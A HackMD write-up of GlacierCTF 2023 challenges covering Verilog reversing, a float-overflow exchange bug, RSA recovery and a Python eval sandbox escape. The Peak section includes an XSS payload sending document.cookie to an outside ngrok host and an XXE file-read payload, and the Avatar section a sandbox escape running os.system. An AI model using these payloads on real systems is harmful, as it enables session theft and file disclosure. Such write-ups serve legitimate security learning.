Try   HackMD

io @ GlacierCTF 2023 - Writeups

Great CTF, very challenging and enjoyable. In solving order:

intro / Skilift

  • top.v:

    ​​​​module top(
    ​​​​    input [63:0] key,
    ​​​​    output lock
    ​​​​);
    
    ​​​​    reg [63:0] tmp1, tmp2, tmp3, tmp4;
    
    ​​​​    // Stage 1
    ​​​​    always @(*) begin
    ​​​​        tmp1 = key & 64'hF0F0F0F0F0F0F0F0;
    ​​​​    end
    
    ​​​​    // Stage 2
    ​​​​    always @(*) begin
    ​​​​        tmp2 = tmp1 <<< 5;
    ​​​​    end
    
    ​​​​    // Stage 3
    ​​​​    always @(*) begin
    ​​​​        tmp3 = tmp2 ^ "HACKERS!";
    ​​​​    end
    
    ​​​​    // Stage 4
    ​​​​    always @(*) begin
    ​​​​        tmp4 = tmp3 - 12345678;
    ​​​​    end
    
    ​​​​    // I have the feeling "lock" should be 1'b1
    ​​​​    assign lock = tmp4 == 64'h5443474D489DFDD3;
    
    ​​​​endmodule 
    

Googling the keywords (module input output reg always endmodule) suggests the language is Verilog.

The unknown 64-bit input key (int) is bitwise-and-ed (&) with 0xF0F0F0F0F0F0F0F0, shifted left (<<) with 5, bitwise-xor-ed with the ASCII bytes "HACKERS!" (encoded as a big endian int), 12345678 is subtracted and the result is expected to be 0x5443474D489DFDD3.

Solution: invert the steps:

import struct
hex(((0x5443474D489DFDD3 + 12345678) ^ struct.unpack('>Q', b'HACKERS!')[0]) >> 5)`
# => 0xe0102030604060

=> gctf{V3r1log_ISnT_SO_H4rd_4fTer_4ll_!1!}

web / Glacier Exchange

This is a website implementing a "crypto exchange / wallet" which allows converting funds between accounts in various coins + a cash account.

  • from src/wallet.py:

    ​​​​...
    ​​​​
    ​​​​self.balances = {
    ​​​​    "cashout": 1000,
    ​​​​    "glaciercoin": 0,
    ​​​​    "ascoin": 0,
    ​​​​    "doge": 0,
    ​​​​    "gamestock": 0,
    ​​​​    "ycmi": 0,
    ​​​​    "smtl": 0
    ​​​​}
    
    ​​​​...
    
    ​​​​def transaction(self, source, dest, amount):
    ​​​​    if source in self.balances and dest in self.balances:
    ​​​​        with self.lock:
    ​​​​            if self.balances[source] >= amount:
    ​​​​                self.balances[source] -= amount
    ​​​​                self.balances[dest] += amount
    ​​​​                return 1
    ​​​​            return 0
    
    ​​​​def inGlacierClub(self):
    ​​​​    with self.lock:
    ​​​​        for balance_name in self.balances:
    ​​​​            if balance_name == "cashout":
    ​​​​                if self.balances[balance_name] < 1000000000:
    ​​​​                    return False
    ​​​​                else:
    ​​​​                    if self.balances[balance_name] != 0.0:
    ​​​​                        return False
    ​​​​                    return True
    

The objective appears to be to "join the Glacier club" - from server.py:

@app.route("/api/wallet/join_glacier_club", methods=["POST"])
def join_glacier_club():
    wallet = get_wallet_from_session()
    clubToken = False
    inClub = wallet.inGlacierClub()
    if inClub:
        f = open("/flag.txt")
        clubToken = f.read()
        f.close()
    return {
        "inClub": inClub,
        "clubToken": clubToken
    }

So the goal is to get at least a balance of 1000000000 in the cash account ('cashout') while keeping exactly 0 in the others.

Solution: the check if self.balances[source] >= amount can be bypassed using negative amounts, and the huge granularity of very large floats can then be exploited to subtract a large amount from one without changing its value. Steps:

  • move -1e300 from any non-cash account to another (e.g. doge to gamestock) - this means having -1e300 in the gamestock account and 1e300 in the doge account
  • move 1000000000 (or more) from the doge account to the cashout account - this won't change the amount in the doge account because of the large gaps in sequential values which can be represented as floating point numbers (IEEE 756), leaving the original float value unchanged (1e300)
  • move -1e300 back from gamestock to doge
  • call /api/wallet/join_glacier_club
# using httpie, first get a session key (generated automatically by several APIs and returned as cookie):
http -v 'https://glacierexchange.web.glacierctf.com/api/wallet/balances'|grep session|cut -d= -f2|cut -d';' -f1 >session
# perform the transfers above via API
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=doge targetCoin=gamestock balance=-1e300 Cookie:session=`cat session`
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=doge targetCoin=cashout balance=1000000000000000000000 Cookie:session=`cat session`
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=gamestock targetCoin=doge balance=-1e300 Cookie:session=`cat session`
# check balance to make sure all went well
http 'https://glacierexchange.web.glacierctf.com/api/wallet/balances' Cookie:session=`cat session`
# join the club, get flag
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/join_glacier_club' Cookie:session=`cat session`
# =>
{
    "clubToken": "gctf{PyTh0N_CaN_hAv3_Fl0At_0v3rFl0ws_2}",
    "inClub": true
}

web / Peak

This is a PHP website with an XSS exercise (suggested by the automated "admin" in admin-simulation\admin.py, which checks "support" messages every 5s).

The XSS is apparent via web/pages/contact.php - the $message['content'] is not escaped in web/pages/view_message.php (like the other fields, which are escaped using htmlentities()), but:

  • due to header("Content-Security-policy: script-src 'self'") in includes/csp.php inline scripts won't run
  • the uploaded image is checked in actions/contact.php to have a valid format via @getimagesize() - this will actually validate the image header and return the width / height of the image
    • sidenote: I've attempted to build polyglots which JS-comment the image header but the check appears to be explicit so that failed
  • php_flag engine off in uploads/.htaccess, so injected PHP code won't work

Requests are forced to HTTPS by the headless Chrome browser automated for the admin (using Selenium), but it accepts self-signed certs ('--ignore-certificate-errors').

<meta> refresh works, so it can be used to redirect the admin to an attacker-controlled page by posting this content in the support request body:

<meta http-equiv="refresh" content="3;url=https://1.tcp.eu.ngrok.io:1234/" />

In web/admin/map.php, some fields of the POSTed XML data are injected into a script tag, and CSP is not enabled for this page (presumably because it uses external JS scripts):

...
<script>
var map = L.map('map').setView([0, 0], 12);
...
<?php
...
try
{
    $xmlData = "";
    if ($_SERVER["REQUEST_METHOD"] === "POST") 
    {
        $xmlData = $_POST["data"];
        if(!parseXML($xmlData))
            $xmlData = "";
    }
    ...
    $xml = parseXML($xmlData);
    foreach($xml->marker as $marker)
    {
        $name = str_replace("\n", "\\n", $marker->name);
        echo 'L.marker(["' . $marker->lat . '", "' . $marker->lon.'"]).addTo(map).bindPopup("'.  $name. '").openPopup();' . "\n";
        echo 'map.setView(["' . $marker->lat . '", "' . $marker->lon.'"], 9);' . "\n";
    }
...
?>
</script> 

The next step is to return an HTML to the victim (as a response to the meta-refresh-based page request above) which auto-submits the <form> in map.php (using JS) and uses a crafted XML to run JS code and leak the session key (contained in the PHPSESSID cookie). We fill in the <lon> field in the XML with JS code to end the call we're in the middle of, then create an <img> and point it to our server, leaking the cookies:

<!doctype html>
<form method="post" action="https://peak.web.glacierctf.com/admin/map.php">
	<input name="data" id="data" value='<markers><marker><lat>1</lat><lon>1"],9);new Image().src="https://1.tcp.eu.ngrok.io:1234/cookie?"+document.cookie;//</lon><name>x</name></marker></markers>' />
	<button id="submit" type="submit">Submit</button> 
</form>
<script>document.getElementById("submit").click()</script>

We then get the PHPSESSID cookie, which we inject into our browser:

GET /cookie?PHPSESSID=joxAG8Db9UKE9vlO9V4yYg4zd7 HTTP/1.1

Again in map.php, LIBXML_NOENT (which enables the substitution of XML character entity references, which may be external) is passed to simplexml_load_string(), so the posted XML should be vulnerable to an XXE attack. Reference: https://brightsec.com/blog/xxe-vulnerability/

We POST a crafted XML to that page and get the flag:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<markers>
    <marker>
        <lat>47.0748663672</lat>
        <lon>12.695247219</lon>
        <name>&xxe;</name>
    </marker>
</markers>

=> gctf{Th3_m0unt4!n_t0p_h4s_th3_b3st_v!3w}

crypto / Missing Bits

We are provided with a script which encrypts a buffer using an RSA private key and with that key, but partially overwritten with blanks:

                                                                
                                                                
                                                                
                                                                
                                                                
                                                                
xwiBgUBTtaSyUvdrqfgAEduRdnzRbKcwEheMxwIDAQABAoIBAAqaJbojNCwYqykz
n0Fn2sxMsho4PhThPQcX79AGqSxVNxviWK2GXETP7SsnvWGmRXHIRnR6JGOhyHVe
dTDYZxOAOhl85FksVQYVUaygf9Epekja/vSj5OE8NIcAdEBr3aZ6gdLxi+q1a5Kh
1nEmsF6FiYGpsPkN63ovbow/CKt4N7UQJqZEQw380rNA0sOQenmzXRFOpXA8PRFb
G6itGRiP1gB9tpdQnWggQ5n+x8/2k+k3CRW6/xIP9dMAVZh2jVombenLxgnhQCJB
bYaR4I8B0zzYqXqFfeHCMNl+pJmmmFcvs2ZE71fqyjRid6ZDqS4GXtSuRQM0UL7L
UQVBaYECgYEA5BiLN7FjwgOuT4FKxFdzizdq/t5mvRksbmBP/JWk3vxQYeCmMiPQ
xrQUqdHGGxG8iMIwH7dnhNaPa81lrP9fCKyij/caEbe4lmEm+VdM/xZQF+PiCc1f
ziYXphz9wuAc8++kvKxM2EaiDe8F25nsXW+FaxNoXKbJg0zTQLyzKiECgYEA8SLi
hbAwo2l0zal8GMIemzr+APxLw+fmd4aryVAMov8ANkG8KDMwdmvvkn3rL7WaKym5
fakqvXR45/QGPe8niVzx6oaWGSSfijeVan27pG/bzVqyymFHZP9cRhEHW4HN57hO
pXy0kUFqVaxJWCs+thH0LTZoToAepg+sr82FaecCgYEAnJnpQzRsHDEwxO8sqP6t
moBS2mdRPDUDV0iSwgTvrBSpD3oQQM5sMXBD24/lpoIX4gEIz025Ke+xij77trmh
wq/b8GGjqVRsy/opqvjwKRZlqPFRKI+zXjKy+95dryT1W9lFTjAxli9wZYaci/fy
2veNL0Wk2i+8nIPraj/j9mECgYEA0ou6LC7OGTDwKs7sqxV78eBNfoDMis7GPeEZ
x9ocXom3HqjA6HzhuNS/xzIpE2xGo5939c+qoOe81hMNDDDwXZEJLdS75FJE90NX
NDd6iracvi6OZAUSeI47fHZL7UtmhQg5q2c6poXumcWn+NMxm3oLsRqLcteNa0PO
bWZPMksCgYBidblknACvEinDUQB8dvElzROql0ZUMX9hQOsSrg0ju3smun8qujcT
PJQrWctoNw0ZXnQjDkVzaJxog1F3QkKUg6B1Rn2Q0RYuCAeNDn+KqBkTT18Du7yw
+GU/4U6EMw+uL7dNjasD1jjx90ro6RmDDBmGDQuludO0G7h9XQzl+Q==
-----END RSA PRIVATE KEY-----

The -----END RSA PRIVATE KEY----- marker suggests it is a PKCS#1-encoded key, generated by older versions of OpenSSL (more recent versions have -----END PRIVATE KEY-----, which is PKCS#8). So we grab an older version (1.0.0j in my case) and generate keys of several plausible sizes (512, 1024, 2048, 4096) with e.g. openssl genrsa 512 >key and diff-compare the produced keys with the one above. The 2048-bit key matches.

Underneath the Base64 is a fixed-structure ASN.1 encoded set of values, among which N (modulus), p (prime1), q (prime2), e (publicExponent) etc. We can either identify the fixed offsets where the values start (after decoding the Base64 wrapper) based on the information printed by openssl rsa -text -noout -in key or we can use the top 6 lines from the valid key generated above and overwrite the blanked part of the given private key. It becomes obvious that the overwritten part only contains N, which can easily be recovered (as P * Q).

To decrypt the text however we only need either the private exponent or P and Q:

import math

P = ...
Q = ...
e = 65537
ciphertext = ...

def int_to_bytes(n):
    return n.to_bytes((n.bit_length() + 7) // 8, byteorder='big')

N = P * Q
phi = (P - 1) * (Q - 1)
if math.gcd(phi, e) > 1:
    raise ValueError('Invalid Ο† + e!')
D = pow(e, -1, phi)
print(int_to_bytes(pow(ciphertext, D, N)))

=>

Hey Bob this is Alice.
I want to let you know that the Flag is                 gctf{7hi5_k3y_can_b3_r3c0ns7ruc7ed}

intro / ARISAI

  • chall.py:

    ​​​​from Crypto.Util.number import bytes_to_long
    ​​​​from Crypto.Util.number import getPrime
    
    ​​​​PRIME_LENGTH = 24
    ​​​​NUM_PRIMES = 256
    
    ​​​​FLAG = b"gctf{redacted}"
    
    ​​​​N = 1
    ​​​​e = 65537
    
    ​​​​for i in range(NUM_PRIMES):
    ​​​​    prime = getPrime(PRIME_LENGTH)
    ​​​​    N *= prime
    
    ​​​​ct = pow(bytes_to_long(FLAG), e, N)
    
    ​​​​print(f"{N=}")
    ​​​​print(f"{e=}")
    ​​​​print(f"{ct=}") 
    

The output of the above code is given as output.txt.

The challenge is RSA-based - the modulus N is made up of 256 24-bit primes instead of two large ones (P / Q), which appears to be allowed in principle by the RSA standard (and called a "Multi-prime RSA", or "RSA-MP") but the primes cannot repeat (in this case they do) and there is a much lower limit on their number (around 4 for a 2048 bit key).

Solution:

  • factor the large number (trivial), get a list of factors

    ​​​​i = int(2 ** 23)    # the range is 2**23..2**24-1
    ​​​​while N > 1:
    ​​​​    while N % i == 0:
    ​​​​        print(i, sep='', end=', ')
    ​​​​        sys.stdout.flush()
    ​​​​        N //= i
    ​​​​    i += 1
    ​​​​print()
    
  • Ο† (phi, the totient function, used for decryption, (p-1)*(q-1) for regular RSA), can be computed as the product of pow(p, count - 1) * (p - 1) for each p in factors (count being the number of times p appears in factors)

  • the decryption key / exponent (D) is computed as pow(e, -1, phi), then the ciphertext can be decrypted

  • assuming factors from above and the given values of N, e and ct (ciphertext) from output.txt (given):

    ​​​​from operator import mul
    ​​​​from functools import reduce 
    
    ​​​​def int_to_bytes(n):
    ​​​​    return n.to_bytes((n.bit_length() + 7) // 8, byteorder='big') 
    ​​​​
    ​​​​N = ...
    ​​​​e = ...
    ​​​​ct = ...
    ​​​​factors = ...
    ​​​​
    ​​​​factors_1 = []
    ​​​​for p in set(factors):
    ​​​​    cnt = factors.count(p)
    ​​​​    factors_1.append(pow(p, cnt - 1) * (p - 1))
    
    ​​​​phi = reduce(mul, factors_1, 1)
    ​​​​D = pow(e, -1, phi)
    ​​​​print(int_to_bytes(pow(ct, D, N)))
    

    => gctf{maybe_I_should_have_used_bigger_primes}

misc / Avatar

Failed this one, but I have no idea why. The solution worked locally, so here it is.

The challenge double-evals a string received from the attacker - chall.py:

print("You get one chance to awaken from the ice prison.")
code = input("input: ").strip()
whitelist = """gctf{"*+*(=>:/)*+*"}""" # not the flag
if any([x not in whitelist for x in code]) or len(code) > 40000:
    
    print("Denied!")
    exit(0)

eval(eval(code, {'globals': {}, '__builtins__': {}}, {}), {'globals': {}, '__builtins__': {}}, {}) 

Both eval()s have disabled __builtins__ and globals() and the input command is filtered - only the chars gctf{}"*+()=>:/ are allowed.

To bypass the filter:
- numbers can be obtained by adding bools: (()==())+(()==()) (i.e. True+True) evaluates to 2
- f-strings can be used to generate characters from those numbers (f"{...:c}") to be then evaluated by the outer eval()
- the encoded string looks something like f"{((((({}=={})+({}=={}))**(({}=={})+...+((({}=={})+({}=={})))+({}=={}):c}"

To print flag.txt without globals and __builtins__, we get __builtins__ (as a dict): [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__["__import__"]('os').system('cat flag.txt'). Reference: https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md

This string will be passed to the encoder above, a ~22k buffer is produced, which prints flag.txt locally:

$ python3 chall.py <buffer
You get one chance to awaken from the ice prison.
input: cat: flag.txt: No such file or directory